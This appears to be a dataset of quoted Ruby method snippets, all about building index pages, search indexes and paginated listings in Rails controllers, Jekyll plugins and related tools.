"def build_docs\n object_map.each do |index, objects|\n objects.each do |object|\n template_context = {\n #:meta => Site\n index => object\n }\n content = converter.render(template_map[index], template_context)\n filename = converter.filename_for(object)\n write_output_file(filename, content)\n end\n end\n end",
"def generate_index\n page = {}\n page[:title] = nil\n page[:body] = \"\"\n \n @posts.keys.sort.reverse.each_with_index do |date, i|\n if i >= @config[:front_page_entries]\n break\n else\n post = @posts[date]\n \n # Don't post the whole thing on the front page.\n unless post[:excerpt].nil?\n post[:body] = ''\n end\n\n page[:body] << generate_post(@posts[date])\n end\n end\n\n File.open(File.join(@site_path, 'index.html'), 'w') do |f|\n f << generate_page(page)\n end\n end",
"def build_index!\n puts \"build_index!\"\n @indexes = {}\n \n @indexes = @resource_class.build_indexes(@resources)\n @indexes[:_default] ||= @default_order\n end",
"def generate_dataset_page(p, d)\n data = {\n unmiga_name: d.name.unmiga_name,\n information: format_metadata(d),\n results: format_results(d)\n }\n write_file(p, \"d_#{d.name}.html\") do\n build_from_template('dataset.html', data)\n end\n end",
"def index ; @index ; end",
"def generate_index_templates(resource_docs)\n restapi_config = YAML.load(File.read(\"#{config_dir}/restapi_doc.yml\"))\n resource_docs.each { |resource| resource.parse_apidoc }\n template = IO.read(template_dir('index.html.haml'))\n parsed = Haml::Engine.new(template).render(Object.new, :project_info => restapi_config, :resource_docs => resource_docs)\n File.open(temp_dir(\"index.html\"), 'w') { |file| file.write parsed }\n \n # Generate detail files\n resource_docs.each do | resource_doc|\n generate_resource_detail_file!(resource_doc)\n end\n end",
"def index\n page_info\n\n # update @page_info.page when page is specified.\n # Otherwise, reset page to 1.\n #\n # Just set, not save. It will be done later when saving sssn with\n # 'has_many page_infos ... autosave: true'\n @page_info.page = (params[:page] || 1)\n\n #clear_topic_path\n prepare_list\n\n @search = page_info.record\n @record = model.new\n end",
"def index\n # if a publicationISSN is specified, we want to make sure that we're only working with those:\n if params.key?('publicationISSN')\n query_hash = {}\n query_hash['stash_engine_internal_data.data_type'] = 'publicationISSN'\n query_hash['stash_engine_internal_data.value'] = params['publicationISSN']\n ds_query = StashEngine::Identifier\n .joins('LEFT JOIN stash_engine_internal_data ON stash_engine_identifiers.id = stash_engine_internal_data.identifier_id')\n .where(query_hash)\n else\n ds_query = StashEngine::Identifier.all\n end\n\n # now, if a curationStatus is specified, narrow down the previous result.\n unless params['curationStatus'].nil?\n ds_query = ds_query\n .joins('LEFT JOIN stash_engine_identifier_states ON stash_engine_identifiers.id = stash_engine_identifier_states.identifier_id')\n .where('stash_engine_identifier_states.current_curation_status': params['curationStatus'])\n end\n @datasets = paged_datasets(ds_query)\n respond_to do |format|\n format.json { render json: @datasets }\n end\n end",
"def index\n\t\t@section = 'pages'\n\t\t@key = params[:key]\n\t\tif params[:id] and params[:id].to_i > 0\n\t\t\t@page = Page.find(params[:id], :include=>[:children, :path])\n\t\t\t@pages = @page.children\n\t\t\t@key = nil\n\t\t\t@page_title = \"Site Index: #{@page.title}\"\n\t\telsif !(@key.blank?)\n\t\t\t@page = nil\n\t\t\t@pages = Page.find(:all,\n\t\t\t\t:conditions=>Page.search_conditions({:key=>@key, :u=>current_user}),\n\t\t\t\t:order=>Page.default_order, :include=>Page.default_include)\n\t\t\t@page_title = \"Site Index: ‘#{params[:key]}’\"\n\t\telse\n\t\t\t# find all top-level pages\n\t\t\t@page = nil\n\t\t\t@pages = Page.find_homes\n\t\t\t#if @page\n\t\t\t#\tconditions = ['(pages.parent_id IS NULL OR pages.parent_id = ?) AND pages.id != ?',\n\t\t\t#\t\[email protected], @page.id]\n\t\t\t#else\n\t\t\t#\tconditions = ['pages.parent_id IS NULL']\n\t\t\t#end\n\t\t\t#@pages = Page.find(:all,\n\t\t\t#\t:conditions=>conditions,\n\t\t\t#\t:order=>'pages.title',\n\t\t\t#\t:include=>:children)\n\t\t\t@page_title = \"Site Index\"\n\t\tend\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.js { render :action=>'index_sublist', :layout=>false }\n\t\t\tformat.xml { render :xml => @pages.to_xml }\n\t\tend\n\tend",
"def index_table(klass, objects)\n # get links from class' helper\n links = send(\"#{klass.table_name}_index_links\", objects).compact\n\n # if there are any batch links, insert the 'select all' link\n batch_ops = !links.reject{|l| !l.match(/class=\"batch_op_link\"/)}.empty?\n links.insert(0, select_all_link) if batch_ops\n \n # render, getting fields and checking if there are no objects at all\n render(\"layouts/index_table\",\n :klass => klass,\n :objects => objects,\n :paginated => objects.respond_to?(:total_entries),\n :links => links.flatten.join.html_safe,\n :fields => send(\"#{klass.table_name}_index_fields\"),\n :batch_ops => batch_ops\n )\n end",
"def index\n #Page.all is fine for small sets of data, for larger sets pagination would be best\n @pages = data_cache('pages', 10.minutes) do\n Page.all\n end\n respond_to do |format|\n format.json { render action: 'index', status: :ok, location: api_pages_url(@pages) }\n format.xml { render xml: @pages, location: api_pages_url(@pages) }\n end\n end",
"def create_index\n template 'index.html.erb', \"app/views/#{namespace}/#{resource}/index.html.erb\"\n template 'filters.html.erb', \"app/views/#{namespace}/#{resource}/_filters.html.erb\"\n end",
"def ingest_pages\n @table_of_contents.unique_pages.each_with_index do |entry, index|\n label = entry ? Utils.xml_escape(entry.title) : \"Page #{index + 1}\"\n @component_objects.push ingest_page(entry.image_filename, label, index + 1)\n end\n\n if @manifest.embargo\n @component_objects.each do |pid|\n @drupal_db.add_embargo pid, @manifest.embargo['rangeName'], @manifest.embargo['endDate']\n end\n end\n end",
"def index\n my_tenant_id = (current_user.role == 'admin' ? current_user.tenant_id : nil)\n @all_stats = Stats.new\n @seven_day_stats = Stats.new(tenant_id: my_tenant_id, since: (Time.new - 7.days))\n @resources = build_table_query\n # If no records were found and a search parameter was specified, requery with\n # a ful text search to find partial word matches\n @resources = build_table_query(true) if @resources.empty? && params[:q].present? && params[:q].length > 4\n @publications = InternalDatum.where(data_type: 'publicationName').order(:value).pluck(:value).uniq\n respond_to do |format|\n format.html\n format.csv\n end\n end",
"def index\n @page_title = \"VDW Datasets\"\n @datasets = Dataset.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @datasets }\n format.pdf\n end\n end",
"def skel_index( path_storage, section_path )\n index_entries = path_storage.lastn( @lastn )\n page = Page.new( 'index', section_path )\n page.prev = index_entries.last.created.strftime( \"%Y/%m/index\" )\n page.timestamp = index_entries.first.created\n page.updated = path_storage.last_updated( index_entries )\n yield :page => page, :entries => index_entries\n end",
"def generate(site)\n Jekyll.logger.info \"Lunr:\", 'Creating search index...'\n \n @site = site\n # gather pages and posts\n data = pages_to_index(site)\n items = data[:items]\n index = []\n \n index_js = open(@lunr_path).read\n index_js << 'var idx = lunr(function() {this.pipeline.remove(lunr.stemmer);this.searchPipeline.remove(lunr.stemmer);this.pipeline.remove(lunr.stopWordFilter);this.searchPipeline.remove(lunr.stopWordFilter);this.tokenizer.separator = /[\\s,.;:/?!()]+/;'\n @lunr_config['fields'].each_pair do |name, boost|\n index_js << \"this.field('#{name}', {'boost': #{boost}});\"\n end\n items.each_with_index do |item_data, i|\n doc = {}\n flat_data = {}\n item = item_data.to_liquid\n if item['recordstatus'] != 'inactive' or ENV['JEKYLL_ENV'] != 'production'\n @config[\"fields\"].each do |field|\n field[\"jekyllfields\"].each do |jekyllfield|\n widget = field['widget']\n orig_field = item[jekyllfield]\n if widget\n if widget == 'flatten' && orig_field\n orig_field = orig_field.values.flatten()\n end\n if widget == 'relational'\n if field['secondaryfield']\n orig_field = site.collections[field['collection']].docs.collect {|collection| collection[jekyllfield] if collection.to_liquid[field['matchfield']] and collection.to_liquid[field['matchfield']].map{ |i| i[field['secondaryfield']] }.include? item['slug'] }\n else\n orig_field = site.collections[field['collection']].docs.collect {|collection| collection[jekyllfield] if collection.to_liquid[field['matchfield']] and collection.to_liquid[field['matchfield']].include? item['slug'] }\n end\n end\n if widget == 'nested'\n if item[field[\"parentfield\"]]\n if item[field[\"parentfield\"]].class == Array\n orig_field = item[field[\"parentfield\"]].map {| parent | parent[jekyllfield]}\n else\n orig_field = item[field[\"parentfield\"]][jekyllfield]\n end\n end\n end\n if orig_field\n orig_field = orig_field.compact.uniq.flatten()\n orig_field = [].concat(orig_field)\n end\n flat_data[field[\"searchfield\"]] = flat_data[field[\"searchfield\"]] ? flat_data[field[\"searchfield\"]].concat(orig_field) : orig_field\n end\n format_field = orig_field.class == Array ? orig_field.compact.uniq.join(\" \") : orig_field\n if format_field != nil\n if doc[field[\"searchfield\"]] == nil\n doc[field[\"searchfield\"]] = format_field.strip()\n else\n doc[field[\"searchfield\"]] += \" \" + format_field.strip()\n end\n end\n end\n end\n doc['id'] = item['slug']\n index_js << 'this.add(' << ::JSON.generate(doc, quirks_mode: true) << ');'\n final_dict = item.to_hash\n final_dict['content'] = Nokogiri::HTML(Kramdown::Document.new(item.content).to_html).text.tr(\"\\n\",\" \")\n @docs[item[\"slug\"]] = final_dict.merge(flat_data)\n Jekyll.logger.debug \"Lunr:\", (item['title'] ? \"#{item['title']} (#{item['url']})\" : item['url'])\n end\n end\n index_js << '});'\n FileUtils.mkdir_p(File.join(site.dest, @js_dir))\n FileUtils.mkdir_p(File.join(site.dest, @css_dir))\n filename = File.join(@js_dir, 'index.js')\n \n ctx = ExecJS.compile(index_js)\n \n index = ctx.eval('JSON.stringify(idx)')\n total = \"var docs = #{@docs.to_json}\\nvar index = #{index.to_json}\\nvar baseurl = #{@jekyllconfig['baseurl'].to_json}\\nvar lunr_settings = #{@config.to_json}\"\n filepath = File.join(site.dest, filename)\n File.open(filepath, \"w\") { |f| f.write(total) }\n Jekyll.logger.info \"Lunr:\", \"Index ready (lunr.js v#{@lunr_version})\"\n added_files = [filename]\n \n site_js = File.join(site.dest, @js_dir)\n site_css = File.join(site.dest, @css_dir)\n \n # If we're using the gem, add the lunr and search JS files to the _site\n if File.expand_path(site_js) != File.dirname(@lunr_path)\n extras = Dir.glob(File.join(File.dirname(@lunr_path), \"*.js\"))\n if extras.length > 0\n FileUtils.cp(extras, site_js)\n extras.map! { |min| File.join(@js_dir, File.basename(min)) }\n Jekyll.logger.debug \"Lunr:\", \"Added JavaScript to #{@js_dir}\"\n added_files.push(*extras)\n end\n extrascss = Dir.glob(File.join(File.dirname(@lunr_path), \"*.css\"))\n if extrascss.length > 0\n FileUtils.cp(extrascss, site_css)\n extrascss.map! { |min| File.join(@css_dir, File.basename(min)) }\n Jekyll.logger.debug \"Lunr:\", \"Added CSS to #{@css_dir}\"\n added_files.push(*extrascss)\n end\n end\n \n # Keep the written files from being cleaned by Jekyll\n added_files.each do |filename|\n site.static_files << SearchIndexFile.new(site, site.dest, \"/\", filename)\n end\n end",
"def index\n standard_index(Project, params[:page], false, \"\", :name, false, true)\n end",
"def index\n @title = \"All pages\"\n @pages = Page.all\n end",
"def index\n\n # if we’re searching\n if params.key?( :search ) and action_allowed?( :search )\n\n # we’re searching: attempt to do a custom search\n @content = add_pagination_and_sorting( custom_search )\n\n else\n\n # otherwise, grab all the things\n @content = add_pagination_and_sorting( custom_index )\n\n end\n\n generate_titles\n\n end",
"def setup_index\n @index_driver.setup_index\n end",
"def generate(site)\r\n if site.config['paginate_tag_basepath']\r\n posts_by_tag = get_posts_by_tag(site)\r\n \r\n site.pages << Index.new(site, site.source, posts_by_tag)\r\n \r\n posts_by_tag.each do |tag, posts|\r\n paginate_tag(site, tag, posts)\r\n end\r\n end\r\n end",
"def index\n if params.count <= 3 && cookies['st_admin_setup']\n CGI.parse(cookies['st_admin_setup']).each{|x|\n name = x[0]\n value = x[1][0]\n params[name] = value\n }\n end\n # Update number of items to show on page (if supplied)\n Page.per_page = params[:per_page].to_i if params[:per_page]\n Page.per_page = 10 if Page.per_page <= 0\n\n @authors = Page.select('DISTINCT(author_id)')\n\n @pages = Page.get_my_pages :user => current_user,\n :page_no => params[:page] || 1,\n :locale => I18n.locale,\n :sort => (\"#{sort_column} #{sort_direction}\"),\n :search => params[:search],\n :flocale => params[:flocale],\n :filter => {:status => params[:status], :page_type => params[:page_type], :author => params[:author]}\n end",
"def render_index(posts, prev_page, next_page)\n # Get the HTML of each Post and combine them\n posts.collect! { |p| p.html(File.join('/', @post_location, p[:id].to_s)) }\n data = { \"body\" => posts.join(\"\\n\\n\") }\n\n # Append next/previous links if necessary\n if !prev_page.nil?\n data[\"body\"] += \"<a class=\\\"nav\\\" id=\\\"future\\\" href=\\\"#{prev_page}\\\">Newer Posts</a>\\n\"\n end\n\n if !next_page.nil?\n data[\"body\"] += \"<a class=\\\"nav\\\" id=\\\"past\\\" href=\\\"#{next_page}\\\">Older Posts</a>\\n\"\n end\n\n # Return the rendered index\n populate(data)\n end",
"def index\n set_current_query(@study)\n\n @entities = @study.sites.descend_by_created_at.search(get_current_search(Site)).paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entities }\n format.js {\n if params[@template.dom_id_nested(:commit, @study)].blank? && params[:page].blank?\n render :file => 'admin/study_sites/index.html.erb'\n else\n render(:update) {|page| page[dom_id(@study, :sites_index)].replace :file => \"admin/study_sites/index\" }\n end\n }\n end\n end",
"def generate(site)\n # page_gen_dirs determines whether we want to generate index pages\n # (name/index.html) or standard files (name.html). This information\n # is passed to the DataPage constructor, which sets the @dir variable\n # as required by this directive\n index_files = site.config['page_gen-dirs'] == true\n\n # data contains the specification of the data for which we want to generate\n # the pages (look at the README file for its specification)\n data = site.config['page_gen']\n if data\n data.each do |data_spec|\n index_files_for_this_data = data_spec['index_files'] != nil ? data_spec['index_files'] : index_files\n template = data_spec['template'] || data_spec['data']\n name = data_spec['name']\n title = data_spec['title']\n dir = data_spec['dir'] || data_spec['data']\n extension = data_spec['extension'] || \"html\"\n\n if site.layouts.key? template\n # records is the list of records defined in _data.yml\n # for which we want to generate different pages\n records = nil\n data_spec['data'].split('.').each do |level|\n if records.nil?\n records = site.data[level]\n else\n records = records[level]\n end\n end\n\n # apply filtering conditions:\n # - filter requires the name of a boolean field\n # - filter_condition evals a ruby expression\n records = records.select { |r| r[data_spec['filter']] } if data_spec['filter']\n records = records.select { |record| eval(data_spec['filter_condition']) } if data_spec['filter_condition']\n\n records.each do |record|\n site.pages << DataPage.new(site, site.source, index_files_for_this_data, dir, record, name, title, template, extension, data_spec['defaults'])\n end\n else\n puts \"error (datapage_gen). could not find template #{template}\" if not site.layouts.key? template\n end\n end\n end\n end",
"def index\n #@experiments = Experiment.all\n @experiments = Experiment.paginate :per_page => 5, :page => params[:page], :order => \"id DESC\", :conditions => ['status=1']\n @datasets=[]\n @experiments.each do |exp|\n @datasets << createThumbJSON(Rails.root.join(\"public\",\"SAX_DATA\", exp.data_directory, \"iofq_data_file.dat\")) \n end\n \n respond_to do |format|\n format.html { render :action => \"list\"} # index.html.erb\n format.xml { render :xml => @experiments }\n end\n end",
"def index\n @pages = Page.paginate(\n :select => 'id, name, protected', \n :page => params[:page], \n :order => sort_calc('name', {:table => 'pages'})\n )\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pages }\n end\n end",
"def index\n @sites = Site.where(:reference => false, :page_rank.gt => -1).sort(:name).all\n @reference_sites = Site.where(:reference => true).sort(:name).all\n respond_with(@sites)\n end",
"def write_index\n html = HtmlHelpers.build do |b|\n content = b.jumbotron(b.title(@config[:index_title], 'title'))\n content += b.title(RESOURCES_TEXT)\n content += b.unordered_list(resources.keys)\n content += b.link(\"#{ERROR_CODE_URL}.html\", b.subtitle(ERROR_CODE_TEXT)) unless error_codes.empty?\n container = b.container(b.row(content))\n b.html_header(header_title, container, @config[:inline_css])\n end\n write_to_file(\"#{output_dir}/index.html\", html)\n end",
"def pages(options={}, page=0, limit=15, do_iterate=false, with_attachments=false)\n $stderr.puts \"[debug] pages(options=#{options}, page=#{page}, limit=#{limit}, do_iterate=#{do_iterate})\" if @debug\n opts = options.dup\n max_rows = max_numrows(opts)\n $stderr.puts \"[debug] pages() max_rows=#{max_rows}\" if @debug\n \n opts[\"limit\"] = limit\n if options.has_key?(\"group\") and options[\"group\"].to_s == \"true\"\n opts.delete(\"reduce\")\n opts.delete(\"include_docs\")\n else\n opts.delete(\"group\")\n opts[\"reduce\"] = \"false\"\n end\n \n yield_skip_page(limit, max_rows, page) do |i_limit, skip, current_page, max_page|\n opts[\"skip\"] = skip\n opts[\"limit\"] = i_limit\n uri = gen_view_uri(opts)\n $stderr.puts \"[debug] pages() uri=#{uri}\" if @debug\n \n resset = YALTools::YaJsonRows.new(@couch, @dbname)\n json = @couch.get(uri)\n json.has_key?(\"rows\") and yield_rows(json[\"rows\"]) do |doc|\n if with_attachments and doc.has_key?(\"_attachments\")\n resset << get_page_with_attachment(doc) \n else\n resset << doc\n end\n end\n if do_iterate\n yield [resset, skip, current_page, max_page ,max_rows]\n else\n return [resset, skip, current_page, max_page ,max_rows]\n end\n end\n ## return [YALTools::YaJsonRows.new(@couch, @dbname), opts[\"skip\"], 0,0,0]\n end",
"def _indexes_ds\n @_indexes_ds ||= begin\n if server_version >= 90500\n order = [Sequel[:indc][:relname], Sequel.function(:array_position, Sequel[:ind][:indkey], Sequel[:att][:attnum])]\n # :nocov:\n else\n range = 0...32\n order = [Sequel[:indc][:relname], SQL::CaseExpression.new(range.map{|x| [SQL::Subscript.new(Sequel[:ind][:indkey], [x]), x]}, 32, Sequel[:att][:attnum])]\n # :nocov:\n end\n\n attnums = SQL::Function.new(:ANY, Sequel[:ind][:indkey])\n\n ds = metadata_dataset.\n from{pg_class.as(:tab)}.\n join(Sequel[:pg_index].as(:ind), :indrelid=>:oid).\n join(Sequel[:pg_class].as(:indc), :oid=>:indexrelid).\n join(Sequel[:pg_attribute].as(:att), :attrelid=>Sequel[:tab][:oid], :attnum=>attnums).\n left_join(Sequel[:pg_constraint].as(:con), :conname=>Sequel[:indc][:relname]).\n where{{\n indc[:relkind]=>%w'i I',\n ind[:indisprimary]=>false,\n :indexprs=>nil,\n :indisvalid=>true}}.\n order(*order).\n select{[indc[:relname].as(:name), ind[:indisunique].as(:unique), att[:attname].as(:column), con[:condeferrable].as(:deferrable)]}\n\n # :nocov:\n ds = ds.where(:indisready=>true) if server_version >= 80300\n ds = ds.where(:indislive=>true) if server_version >= 90300\n # :nocov:\n\n ds\n end\n end",
"def create_index(data, folder_num)\n folder_num > 1 ? create_sub_index(data, folder_num) : create_main_index(data)\n end",
"def index_finalized\n index\n end",
"def index\n semantic_breadcrumb @project.name\n if @project.manager?(current_user)\n @documents = @project.documents\n else\n ids = @project.assigns.where('user_id = ?', current_user.id).all.map{|d| d.document_id}\n @documents = Document.where('id in (?)', ids)\n end\n @documents = @documents.where(\"did = ?\", params[:did]) if params[:did].present?\n @documents = @documents.where(\"done = ?\", params[:done] == \"true\") if params[:done].present?\n @documents = @documents.where(\"curatable = ?\", params[:curatable] == \"true\") if params[:curatable].present?\n @documents.includes(:assigns)\n if params[:term].present?\n @documents = @documents.where(\"did like ? or title like ? or xml like ?\", \"%#{params[:term]}%\", \"%#{params[:term]}%\", \"%#{params[:term]}%\")\n end\n\n if sort_column == \"default\"\n @documents = @documents.order(\"batch_id DESC, batch_no ASC, id DESC\")\n else \n @documents = @documents.order(sort_column + \" \" + sort_direction)\n end\n @documents = @documents.order(\"batch_id DESC, batch_no ASC, id DESC\")\n unless request.format.json?\n # @documents = @documents.order(\"batch_id DESC, batch_no ASC, id DESC\").page(params[:page])\n @documents = @documents.page(params[:page])\n end \n end",
"def build_indexes\n Schema::Physical::Indexes.new\n end",
"def index\n @pages = Page.all\n end",
"def generate(site)\n\n # page_gen_dirs determines whether we want to generate index pages\n # (name/index.html) or standard files (name.html). This information\n # is passed to the DataPage constructor, which sets the @dir variable\n # as required by this directive\n\n index_files = site.config['page_gen-dirs'] == true\n\n # data contains the specification of the data for which we want to generate\n # the pages (look at the README file for its specification)\n data = site.config['page_gen']\n types = site.config['data_types']\n if data\n data.each do |data_spec|\n # template = data_spec['template'] || data_spec['data']\n name = data_spec['name']\n # dir = data_spec['dir'] || data_spec['data']\n # Added 2 lines: Set context and type for JSON-LD \n context = data_spec['context'] || \"http://schema.org/\"\n # type = data_spec['type'] || \"Thing\"\n extension = data_spec['extension'] || \"html\"\n\n # records is the list of records defined in _data.yml\n # for which we want to generate different pages\n records = nil\n data_spec['data'].split('.').each do |level|\n if records.nil?\n records = site.data[level]\n else\n records = records[level]\n end\n end\n records.each do |record|\n # Added 3 lines: Add context and type for JSON-LD to each record\n collection = record[\"collection\"]\n dir = types[collection][\"dir\"] || collection\n template = types[collection][\"template\"]\n type = types[collection][\"type\"]\n record[\"@context\"] = context\n record[\"data\"][\"@type\"] = type\n record[\"data\"][\"name\"] = record[\"name\"]\n site.pages << DataPage.new(site, site.source, index_files, dir, record, name, template, extension)\n end\n end\n end\n end",
"def buildIndex\n # Ir a la pagina de inicio y colocar el titulo de la pagina.\n go_to_page(2)\n outline.section('Indice', destination: 2)\n \n # Dibujar el header.\n drawHeader\n\n # Titulo\n pad(PADDING) do\n text 'Indice', {size: TEXT_TITLE_CONFIG[:size], style: TEXT_TITLE_CONFIG[:style], align: :center}\n end\n\n num_page_title = \"Nº de página\"\n page_width = width_of(num_page_title, size: TEXT_SUBTITLE_CONFIG[:size], style: TEXT_SUBTITLE_CONFIG[:style]) + 30 # Ancho de las celdas para los nº de pagina\n title_width = bounds.right - (page_width + 60) # Ancho de las celdas para los titulos\n\n # Encabezado del indice.\n index_titles = [[make_cell(content: \"Titulo\", align: :left), make_cell(content: num_page_title, align: :center)]]\n table(index_titles, column_widths: [title_width, page_width], position: :center, cell_style: {border_style: :none, borders: [], size: TEXT_SUBTITLE_CONFIG[:size], font_style: TEXT_SUBTITLE_CONFIG[:style], padding: [5,5, PADDING,5]})\n\n @index.each do |key, value|\n title_content = [] # Se guarda la fila de la tabla con el titulo de oferta o demanda.\n contents = [] # Se guardan cada las fila de los contenidos.\n if value[:sections].size != 0\n title_content.push([make_cell(content: \"<link anchor='#{value[:format_title]}'>#{value[:title]}</link>\", align: :left, inline_format: true), make_cell((value[:page].to_i - 2).to_s, align: :center)])\n outline.section(key.to_s.capitalize, destination: value[:page]) do\n value[:sections].each do |sub|\n title = sub[:title]\n title += \" <b><i> gratis</i></b>\" if !sub[:fake] && !@complete_graph\n # Agrega cada seccion al array para el indice.\n contents.push([make_cell(content: \"<link anchor='#{sub[:format_title]}'>#{title}</link>\", align: :left, inline_format: true), make_cell((sub[:page].to_i - 2).to_s, align: :center)])\n # Agrega una seccion a la tabla de contenidos del pdf.\n outline.page title: sub[:title], destination: sub[:page], closed: true\n end\n end\n # Dibuja la tabla solo con el titulo de oferta o demanda.\n table(title_content, column_widths: [title_width, page_width], position: :center, cell_style: {border_style: :none, borders: [], size: TEXT_CONFIG[:size], font_style: TEXT_CONFIG[:style], padding: [2,2,2,2]})\n # Dibuja la tabla con los contenidos.\n table(contents, column_widths: [title_width, page_width], position: :center, cell_style: {border_style: :none, borders: [], size: TEXT_CONFIG[:size], font_style: TEXT_CONFIG[:style]}) do\n style(columns(0), padding: [2,2,2,20])\n style(columns(1), padding: [2,2,2,2])\n end\n end\n\n end\n end",
"def make_pages\n Dir.glob(concepts_glob).each do |concept_file_path|\n Jekyll.logger.debug(\"Geolexica:\",\n \"processing concept data #{concept_file_path}\")\n concept_hash = read_concept_file(concept_file_path)\n preprocess_concept_hash(concept_hash)\n add_page ConceptPage::HTML.new(site, concept_hash)\n add_page ConceptPage::JSON.new(site, concept_hash)\n add_page ConceptPage::JSONLD.new(site, concept_hash)\n add_page ConceptPage::Turtle.new(site, concept_hash)\n end\n end",
"def generate_class_index(site, base, dir, path, lang)\n # puts \"666666666666666666666666666666666666666666666666 base \" + base\n # puts \"666666666666666666666666666666666666666666666666 dir \" + dir\n # puts \"666666666666666666666666666666666666666666666666 path \" + path\n cLaSs = ClassIndex.new(site, base, dir, path, lang)\n if cLaSs.data['active']\n # puts \"77777777777777777777777777777777777777777777777777777777\"\n cLaSs.render(site.layouts, site.site_payload)\n cLaSs.write(site.dest)\n\n site.pages << cLaSs\n site.static_files << cLaSs\n end\n\n end",
"def indexes\n raise 'not implemented'\n end",
"def index_all\n @id = params[:device_id]\n @setting = Device.find_by(device_id: params[:device_id])\n @date = params[:date] || \"\"\n @page = (params[:page] || \"1\").to_i\n pagesize = 24\n @colsize = 2 # col-sm-#{@colsize}, the size for bootstrap column.\n\n if params[:head] && params[:tail]\n head = params[:head].to_i\n tail = params[:tail].to_i\n end\n\n skipped = 0\n @total = 0\n @files = []\n @n_pages = 0\n\n dir = BASEDIR+\"/#{@id}\"\n return unless File.directory? dir\n Dir.entries(dir).sort.reverse.each do |f|\n next if f.start_with? \".\"\n next unless f.end_with? \".jpg\"\n next unless f.start_with? @date\n if head.is_a? Fixnum\n m = f.sub(\"_\",\"\").match(/([0-9]{12}).jpg/)\n seq = m[1].to_i\n raise \"#{f}\" if seq.nil?\n break if seq < tail\n next if head < seq\n end\n @total += 1\n if skipped < (@page - 1) * pagesize\n skipped += 1\n next\n end\n if @files.length < pagesize\n @files += [f]\n end\n end\n @n_pages = @total / pagesize + (@total % pagesize == 0 ? 0 : 1)\n\n @dates = load_index(dir)\n\n @n_watchers = get_access_log\n end",
"def index(options = {}, &block)\n options[:as] ||= :table\n config.set_page_presenter :index, ActiveAdmin::PagePresenter.new(options, &block)\n end",
"def index\n # Limits due to the current search/filter settings are handled within CurationTableRow\n authorize %i[stash_engine admin_datasets]\n my_tenant_id = (%w[admin tenant_curator].include?(current_user.role) ? current_user.tenant_id : nil)\n @all_stats = Stats.new\n @seven_day_stats = Stats.new(tenant_id: my_tenant_id, since: (Time.new.utc - 7.days))\n\n if request.format.to_s == 'text/csv' # we want all the results to put in csv\n page = 1\n page_size = 1_000_000\n else\n page = @page.to_i\n page_size = @page_size.to_i\n end\n\n search_terms = { params: helpers.sortable_table_params, page: page.to_i, page_size: page_size.to_i }\n\n @datasets = AdminDatasetsPolicy::Scope.new(current_user, StashEngine::AdminDatasets::CurationTableRow, search_terms).resolve\n @publications = StashEngine::Journal.order(:title).map(&:title)\n @pub_name = params[:publication_name] || nil\n\n # paginate for display\n blank_results = (page.to_i - 1) * page_size.to_i\n @datasets = Array.new(blank_results, nil) + @datasets # pad out an array with empty results for earlier pages for kaminari\n @datasets = Kaminari.paginate_array(@datasets, total_count: @datasets.length).page(page).per(page_size)\n\n respond_to do |format|\n format.html\n format.csv do\n headers['Content-Disposition'] = \"attachment; filename=#{Time.new.strftime('%F')}_report.csv\"\n end\n end\n end",
"def index_old\n @ontologies = LinkedData::Client::Models::Ontology.all(include: LinkedData::Client::Models::Ontology.include_params)\n @submissions = LinkedData::Client::Models::OntologySubmission.all\n @submissions_map = Hash[@submissions.map {|sub| [sub.ontology.acronym, sub] }]\n @categories = LinkedData::Client::Models::Category.all\n @groups = LinkedData::Client::Models::Group.all\n\n # Count the number of classes in each ontology\n metrics_hash = get_metrics_hash\n @class_counts = {}\n @ontologies.each do |o|\n @class_counts[o.id] = metrics_hash[o.id].classes if metrics_hash[o.id]\n @class_counts[o.id] ||= 0\n end\n\n @mapping_counts = {}\n @note_counts = {}\n respond_to do |format|\n format.html # index.rhtml\n end\n end",
"def index\n @page_chunks = PageChunk.all\n end",
"def index\n @pages = Page.all\n end",
"def index\n @pages = Page.all\n end",
"def index\n @pages = Page.all\n end",
"def index\n @pages = Page.all\n end",
"def index\n @pages = Page.all\n end",
"def index\n @pages = Page.all\n end",
"def index\n @pages = Page.all\n end",
"def index\n @pages = Page.all\n end",
"def index\n @pages = Page.all\n end",
"def index\n @pages = Page.all\n end",
"def index\n breadcrumb_for_collections(@collection)\n semantic_breadcrumb @collection.name\n @documents = @collection.documents\n @documents = @documents.where(\"did = ?\", params[:did]) if params[:did].present?\n @documents = @documents.where(\"done = ?\", params[:done] == \"true\") if params[:done].present?\n @documents = @documents.where(\"curatable = ?\", params[:curatable] == \"true\") if params[:curatable].present?\n \n if params[:term].present?\n @documents = @documents.where(\"did like ? or title like ?\", \"%#{params[:term]}%\", \"%#{params[:term]}%\")\n end\n\n if sort_column == \"default\"\n @documents = @documents.order(\"batch_id DESC, batch_no ASC, id DESC\")\n else \n @documents = @documents.order(sort_column + \" \" + sort_direction)\n end\n @documents = @documents.order(\"batch_id DESC, batch_no ASC, id DESC\")\n unless request.format.json?\n # @documents = @documents.order(\"batch_id DESC, batch_no ASC, id DESC\").page(params[:page])\n @documents = @documents.page(params[:page])\n end\n end",
"def reference_datasets\n if @results.nil?\n @ref_datasets = @project.ref_datasets\n else\n @ref_datasets = @results\n end\n cur_page = (params[:page] || 1).to_i\n per_page = (params[:per_page] || 10).to_i\n @datasets = WillPaginate::Collection.create(\n cur_page, per_page, @ref_datasets.size) do |pager|\n start = (cur_page - 1) * per_page\n pager.replace(@ref_datasets[start, per_page])\n end\n end",
"def run(content, params={})\n markdown = Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, space_after_headers: true)\n page_text = extract_text(markdown.render(item.raw_content))\n title = item[:title] || item.identifier\n file_name = item.identifier.to_s.gsub(/\\//,'_')\n puts \"Indexing page: #{@item.identifier} to #{@tmp_index}/#{file_name}.idx\"\n unless Dir.exists?(@tmp_index)\n Dir.mkdir(@tmp_index)\n end\n\n\n\n idx_file_name = \"#{@tmp_index}/#{file_name}.idx\"\n if File.exists?(idx_file_name)\n File.delete(idx_file_name)\n end\n File.open(idx_file_name,\"w+\") do |file|\n file.write({title: title, text: page_text, tags: \"api\", loc: @item.path }.to_json)\n end\n content\n end",
"def index; end",
"def write\n self.write_page(self.mounting_point.pages['index'])\n\n self.write_page(self.mounting_point.pages['404'])\n end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
"def index; end",
